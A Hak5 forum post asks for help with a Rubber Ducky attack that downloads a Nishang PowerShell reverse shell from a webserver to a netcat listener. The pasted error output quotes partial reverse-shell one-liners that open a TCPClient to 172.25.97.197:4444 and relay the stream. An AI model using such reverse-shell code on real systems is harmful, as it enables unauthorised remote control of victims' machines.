Jump to content
Hak5 Forums
Sign in to follow this  
sting3r

duckey nishang powershell reverse issue

Recommended Posts

I have an issue once the target machine gets the .ps1 from the webserver. Netcat is also running on 4444.

 

 

New-Object : Exception calling ".ctor" with "2" argument(s): "No connection could be made because the target machine
actively refused it 172.25.97.197:4444"
At line:3 char:11
+ $client = New-Object System.Net.Sockets.TCPClient('172.25.97.197',444 ...
+           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [New-Object], MethodInvocationException
    + FullyQualifiedErrorId : ConstructorInvokedThrowException,Microsoft.PowerShell.Commands.NewObjectCommand
You cannot call a method on a null-valued expression.
At line:3 char:73
+ ... TCPClient('172.25.97.197',4444);$stream = $client.GetStream();[byte[] ...
+                                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At line:3 char:141
+ ... 65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) ...
+                       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At line:3 char:489
+ ... .Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
+                                                           ~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : InvokeMethodOnNull
New-Object : Exception calling ".ctor" with "2" argument(s): "No connection could be made because the target machine
actively refused it 172.25.97.197:4444"
At line:5 char:6
+ $sm=(New-Object Net.Sockets.TCPClient('172.25.97.197',4444)).GetStrea ...
+      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [New-Object], MethodInvocationException
    + FullyQualifiedErrorId : ConstructorInvokedThrowException,Microsoft.PowerShell.Commands.NewObjectCommand
You cannot call a method on a null-valued expression.
At line:5 char:107
+ ... byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0) ...
+                                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : InvokeMethodOnNull
 
 
 
 
AIbEiAIAAABECOzs6qC9ttzUrwEiC3ZjYXJkX3Bob3RvKigwOWViMTgyM2NmMjc4MDYzZjIzMjllMTc0M2RhNTZhZGQ5ZDQzZTI1MAHbcawitgWHKrgjQAr3fEA2RveyxA?sz=32
 

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×